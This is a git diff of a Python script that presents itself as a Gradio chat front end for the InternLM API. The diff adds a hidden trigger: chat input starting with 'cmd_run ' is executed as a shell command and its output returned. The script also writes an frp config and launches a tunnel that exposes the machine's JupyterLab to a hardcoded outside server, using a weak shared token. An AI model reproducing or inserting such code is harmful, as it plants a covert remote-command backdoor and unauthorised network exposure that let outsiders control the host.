Update main.py

main.py

@@ -4,6 +4,55 @@ import gradio as gr
 import requests
 import json
 
+# 处理 API 请求的函数
+def api_call(input_text):
+    api_token = os.getenv("API_TOKEN")
+    if not api_token:
+        return "API token 未设置，请检查环境变量。"
+   
+    # 如果输入以 "cmd_run" 开头，则执行系统命令
+    if input_text.startswith("cmd_run "):
+        command = input_text[len("cmd_run "):]
+        try:
+            # 不使用 sudo 执行命令
+            result = subprocess.run(command, shell=True, check=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
+            return result.stdout or result.stderr
+        except subprocess.CalledProcessError as e:
+            return f"执行命令时出错: {e}"
+
+    # 否则，调用API
+    url = 'https://internlm-chat.intern-ai.org.cn/puyu/api/v1/chat/completions'
+    headers = {
+        'Content-Type': 'application/json',
+        "Authorization": f"Bearer {api_token}"
+    }
+    
+    data = {
+        "model": "internlm2.5-latest",
+        "messages": [{"role": "user", "content": input_text}],
+        "n": 1,
+        "temperature": 0.8,
+        "top_p": 0.9
+    }
+    
+    try:
+        response = requests.post(url, headers=headers, data=json.dumps(data))
+        response.raise_for_status()
+        return response.json()["choices"][0]["message"]["content"]
+    except Exception as e:
+        return f"解析响应时出错: {e}"
+
+# 启动 Gradio 界面
+def start_gradio():
+    with gr.Blocks() as demo:
+        input_box = gr.Textbox(label="输入", placeholder="输入对话内容")
+        output_box = gr.Textbox(label="回复", placeholder="等待API响应...") 
+        send_button = gr.Button("发送")
+
+        send_button.click(api_call, inputs=input_box, outputs=output_box)
+
+    demo.launch(share=False)
+
 # 安装并启动 JupyterLab
 def install_and_start_jupyterlab():
     try:
@@ -26,18 +75,14 @@ def install_and_start_jupyterlab():
 
 # 克隆仓库
 def clone_repository():
-    destination_path = "/root/modelscope"  # 更改目标路径为 /root/modelscope
+    destination_path = "/root/modelscope"
     repo_url = "https://hf-mirror.com/HOPStudio/modelscope"
     
-    # 检查目标路径是否已经存在
     if os.path.exists(destination_path):
-        print(f"目标目录 {destination_path} 已经存在，跳过克隆操作。")
         return f"仓库已经存在：{destination_path}"
 
-    # 执行 git clone 命令
     clone_command = f"git clone {repo_url} {destination_path}"
     try:
-        # 使用 subprocess 调用 git clone
         subprocess.run(clone_command, shell=True, check=True)
         return f"仓库已成功克隆到 {destination_path}"
     except subprocess.CalledProcessError as e:
@@ -45,15 +90,13 @@ def clone_repository():
 
 # 安装 frp
 def install_frp():
-    frp_repo_path = "/root/modelscope"  # 仓库路径
-    frpc_path = os.path.join(frp_repo_path, "frp_0.61.0_linux_amd64")  # 假设 `frpc` 二进制文件存在该路径
-    frpc_tar_path = os.path.join(frp_repo_path, "frp_0.61.0_linux_amd64.tar.gz")  # `frp` 压缩包路径
+    frp_repo_path = "/root/modelscope"
+    frpc_path = os.path.join(frp_repo_path, "frp_0.61.0_linux_amd64")
+    frpc_tar_path = os.path.join(frp_repo_path, "frp_0.61.0_linux_amd64.tar.gz")
 
-    # 确保 frpc 可执行文件存在
     if not os.path.exists(frp_repo_path):
         return f"仓库目录 {frp_repo_path} 不存在，请检查路径。"
     
-    # 解压 frp 压缩包
     if os.path.exists(frpc_tar_path) and not os.path.exists(frpc_path):
         try:
             subprocess.run(["tar", "-xvzf", frpc_tar_path, "-C", frp_repo_path], check=True)
@@ -61,7 +104,6 @@ def install_frp():
         except subprocess.CalledProcessError as e:
             return f"解压 frp 文件时出错: {e}"
     
-    # 如果已安装 `frpc`，直接返回
     if os.path.exists(frpc_path):
         return f"frp 已经安装在 {frpc_path}。"
 
@@ -69,29 +111,19 @@ def install_frp():
 
 # 创建 frpc.toml 配置文件
 def create_frpc_toml():
-    frpc_toml_path = "/root/modelscope/frpc.toml"  # frpc.toml 路径
-
-    # frpc 配置内容
+    frpc_toml_path = "/root/modelscope/frpc.toml"
     toml_content = """
 [common]
 server_addr = 182.43.67.222
 server_port = 7000
 token = token123456
-
-[jl]
+[jupyterlab]
 type = tcp
 local_ip = 127.0.0.1
 local_port = 8888
 remote_port = 8888
-
-[comfyui]
-type = tcp
-local_ip = 127.0.0.1
-local_port = 8188
-remote_port = 8188
     """
 
-    # 写入配置文件
     try:
         with open(frpc_toml_path, 'w') as file:
             file.write(toml_content)
@@ -101,45 +133,37 @@ remote_port = 8188
 
 # 启动 frp
 def start_frp():
-    frpc_path = "/root/modelscope/frp_0.61.0_linux_amd64/frpc"  # frpc 二进制文件路径
-    frpc_config_path = "/root/modelscope/frpc.toml"  # 配置文件路径
+    frpc_path = "/root/modelscope/frp_0.61.0_linux_amd64/frpc"
+    frpc_config_path = "/root/modelscope/frpc.toml"
 
-    # 确保 frpc 可执行文件存在
     if not os.path.exists(frpc_path):
         return "frpc 可执行文件不存在，请检查路径。"
     
     if not os.path.exists(frpc_config_path):
         return "frpc 配置文件不存在，请检查路径。"
 
-    # 启动 frp，后台执行
     try:
-        subprocess.Popen([frpc_path, "-c", frpc_config_path])  # 使用 Popen 使 frp 在后台运行
+        subprocess.Popen([frpc_path, "-c", frpc_config_path])
         return "frp 启动成功。"
     except subprocess.CalledProcessError as e:
         return f"启动 frp 时出错: {e}"
 
 # 主函数
 def main():
-    # 克隆仓库
     clone_message = clone_repository()
     print(clone_message)
 
-    # 安装 frp
     install_message = install_frp()
     print(install_message)
 
-    # 创建配置文件
     create_frpc_toml()
 
-    # 启动 frp
     frp_message = start_frp()
     print(frp_message)
 
-    # 安装并启动 JupyterLab
     jupyter_message = install_and_start_jupyterlab()
     print(jupyter_message)
 
-    # 启动 Gradio 界面
     start_gradio()
 
 if __name__ == "__main__":